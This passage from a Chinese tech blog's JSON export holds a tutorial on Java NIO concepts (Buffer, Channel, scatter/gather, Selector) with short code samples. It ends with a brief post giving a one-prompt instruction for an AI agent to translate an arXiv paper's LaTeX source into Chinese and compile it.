Non-block IO）的简称。 277 278与 Socket 类和 ServerSocket 类相对应，NIO 也提供了 SocketChannel 和 ServerSocketChannel 两种不同套接字通道的实现，它们都支持阻塞和非阻塞两种模式。一般来说，低负载、低并发的应用程序可以选择同步阻塞 IO 以降低复杂度，但是高负载、高并发的网络应用，需要使用 NIO 的非阻塞模式进行开发。 279 280**在 NIO 中有三种非常重要的概念，下面一个一个来说，首先是缓冲区Buffer.** 281 282 Java IO是面向流的，每次从流（InputStream/OutputStream）中读一个或多个字节，直到读取完所有字节，它们没有被缓存在任何地方。另外，它不能前后移动流中的数据，如需前后移动处理，需要先将其缓存至一个缓冲区。Java NIO面向缓冲，数据会被读取到一个缓冲区，需要时可以在缓冲区中前后移动处理，这增加了处理过程的灵活性。但与此同时在处理缓冲区前需要检查该缓冲区中是否包含有所需要处理的数据，并需要确保更多数据读入缓冲区时，不会覆盖缓冲区内尚未处理的数据。 283 284 Buffer，本质上是一块内存区，可以用来读写数据，它包含一些要写入或者要读出的数据。在 NIO 中，所有数据都是通过 Buffer 处理的，读取数据时，它是直接读到缓冲区中，写入数据时，写入到缓冲区。 285 286最常用的缓冲区是 ByteBuffer，一个 ByteBuffer 提供了一组功能用于操作 byte 数组，除了 ByteBuffer，还有其他的一些 Buffer，如：CharBuffer、IntBuffer 等，它们之间的关系如下图所示。 287 288![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/020-52899820.jpg) 289 290Buffer 基本用法（读写数据过程）： 291 2921 把数据写入 Buffer； 293 2942 调用 flip()，Buffer 由写模式变为读模式； 295 2963 Buffer 中读取数据； 297 2984 调用 clear() 清空buffer，等待下次写入。 299 300示例如下： 301 302```cs 303byte[] req = \u0026#34;QUERY TIME ORDER\u0026#34;.getBytes(); 304ByteBuffer byteBuffer = ByteBuffer.allocate(req.length); 305byteBuffer.put(req); 306byteBuffer.flip(); 307while (byteBuffer.hasRemaining()){ 308 System.out.println((char)byteBuffer.get()); 309} 310byteBuffer.clear(); 这里重点讲下flip()方法, Buffer 中的flip() 方法涉及到 Buffer 中的capacity、position、limit三个概念。\ncapacity：在读/写模式下都是固定的，就是我们分配的缓冲大小（容量）。\nposition：类似于读/写指针，表示当前读(写)到什么位置。\nlimit：在写模式下表示最多能写入多少数据，此时和capacity相同。在读模式下表示最多能读多少数据，此时和缓存中的实际数据大小相同。\nBuffer有两种模式，写模式和读模式。在写模式下调用flip()之后，Buffer从写模式变成读模式。如下图所示：\n下图显示了flip()在读写过程中position、limit、capacity是怎样变化的：\nBuffer 常用方法：\nflip()：把 buffer 从模式调整为读模式，在读模式下，可以读取所有已经写入的数据；\nclear()：清空整个 buffer；\ncompact()：只清空已读取的数据，未被读取的数据会被移动到 buffer 的开始位置，写入位置则紧跟着未读数据之后；\nrewind()：将 position 置为0，这样我们可以重复读取 Buffer 中的数据，limit 保持不变；\nmark()和reset()：通过mark方法可以标记当前的position，通过reset来恢复mark的位置\nequals()：判断两个 Buffer 是否相等，需满足：类型相同、Buffer 中剩余字节数相同、所有剩余字节相等；\ncompareTo()：compareTo 比较 Buffer 中的剩余元素，只不过这个方法适用于比较排序的。\n然后是**Channel**, Java IO的各种流是阻塞的。当某个线程调用read()或write()方法时，该线程被阻塞，直到有数据被读取到或者数据完全写入。阻塞期间该线程无法处理任何其它事情。Java NIO为非阻塞模式。读写请求并不会阻塞当前线程，在数据可读/写前当前线程可以继续做其它事情，所以一个单独的线程可以管理多个输入和输出通道。Channel与流的不同之处在于Channel 是全双工的，可以比流更好地映射底层操作系统的 API。流只是在一个方向上移动（一个流必须 是InputStream或者Outputstream的子类）。而通道可以用于读、写或者二者同时进行。通道可以异步读写；它是基于缓冲区（Buffer）进行读写的； 在 Java 中提供以下几种Channel：\nFileChannel：用于文件的读写；\nDatagramChannel：用于UDP 数据读写；\nSocketChannel：用于Socket 数据读写；\nServerSocketChannel：监听 TCP 连接请求。\n这些 Channel 类之间的继承关系如下图所示：\nJava NIO 发布时内置了对 scatter/gather的支持：\nScattering read 指的是从通道读取的操作能把数据写入多个 Buffer，也就是 sctters 代表了数据从一个 Channel 到多个 Buffer的过程。\nGathering write 则正好相反，表示的是从多个 Buffer 把数据写入到一个 Channel中。\n代码示例如下：\n1// Scattering read 2ByteBuffer header =ByteBuffer.allocate(128); 3ByteBuffer body = ByteBuffer.allocate(1024); 4 5ByteBuffer[] bufferArray = { header, body }; 6channel.read(bufferArray); 7 8// Gathering write 9ByteBuffer header =ByteBuffer.allocate(128); 10ByteBuffer body = ByteBuffer.allocate(1024); 11 12ByteBuffer[] bufferArray = { header, body}; 13channel.write(bufferArray); 最后是Selector\nSelector 是 Java NIO 核心部分，简单来说，它的作用就是：Selector 不断轮询注册在其上的 Channel，如果某个 Channel 上面有新的 TCP 连接、读和写事件，这个 Channel 就处于就绪状态，会被 Selector 轮询出来，然后通过 SelectorKey() 可以获取就绪 Channel 的集合，进行后续的 IO 操作。 一个 Selector 可以轮询多个 Channel，由于 JDK 底层使用了 epoll() 实现，它并没有最大连接句柄 1024/2048 的限制，这就意味着只需要一个线程负责 Selector 的轮询，就可以连接上千上万的 Client。\nJava NIO的选择器允许一个单独的线程同时监视多个通道，可以注册多个通道到同一个选择器上，然后使用一个单独的线程来“选择”已经就绪的通道。这种“选择”机制为一个单独线程管理多个通道提供了可能。\nNIO 2.0 中引入异步通道的概念，并提供了异步文件通道和异步套接字导通的实现，它是真正的异步非阻塞I IO，底层是利用事件驱动（AIO）实现，不需要多路复用器（Selector）对注册的通道进行轮组操作即可实现异步读写。\n到此我们已经介绍完了NIO的基本概念，看过上面这些介绍的你是不是觉得用NIO编程还是比较麻烦？是的，用原生NIO api进行开发是比较复杂，门槛比较高，所以出现了Netty这样好用、强大的NIO框架。\n后续有机会将介绍下Netty中用到的线程模型和设计模式如：精典Reactor模式、多工作线程Reactor模式、多Reactor。\n*特别说明：*本中部分图片及文字并非本文作者所画和所写，是取自网络上的图文资源，作者也仅仅是将这些概念用自己的方式串连起来，互联网的伟大正是由于它的分享和连接，感谢前人的耕耘。\n","date":"2020-01-07T14:04:27Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/cover.jpg","permalink":"/p/2020-01-07-java-de-i-o-nio-java-io-mo-xing-unix-wang-luo-io-mo-xing-den/","title":"Java 的I/O、NIO ,Java IO 模型，Unix 网络 IO 模型等相关概念的解析"},{"content":"一句 prompt完成论文翻译 从arXiv上下载id为2502.16982的论文源码，然后解压并将它翻译成中文版本，要求所有英文文字内容都翻译成中文，公式不变，表格、图片等只翻译必要的caption，代码框、算法框也只需翻译必要的注释，而人名不必翻译；将翻译后的新源码保存到解压目录下名为“paper_cn”的新目录中，要注意保持源码的可编译性；翻译完后要仔细检查一遍，看有没有漏翻译的章节和文件；最后，用xelatex将翻译结果重新编译成pdf，返回生成的pdf路径。如果翻译内容较多，应当开启多个subagent来并行翻译\n","date":"2019-01-01T00:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/1970-01-02-yi-ju-prompt-wan-cheng-lun-wen-fan-yi/cover.jpg","permalink":"/p/1970-01-02-yi-ju-prompt-wan-cheng-lun-wen-fan-yi/","title":"一句 prompt完成论文翻译"}]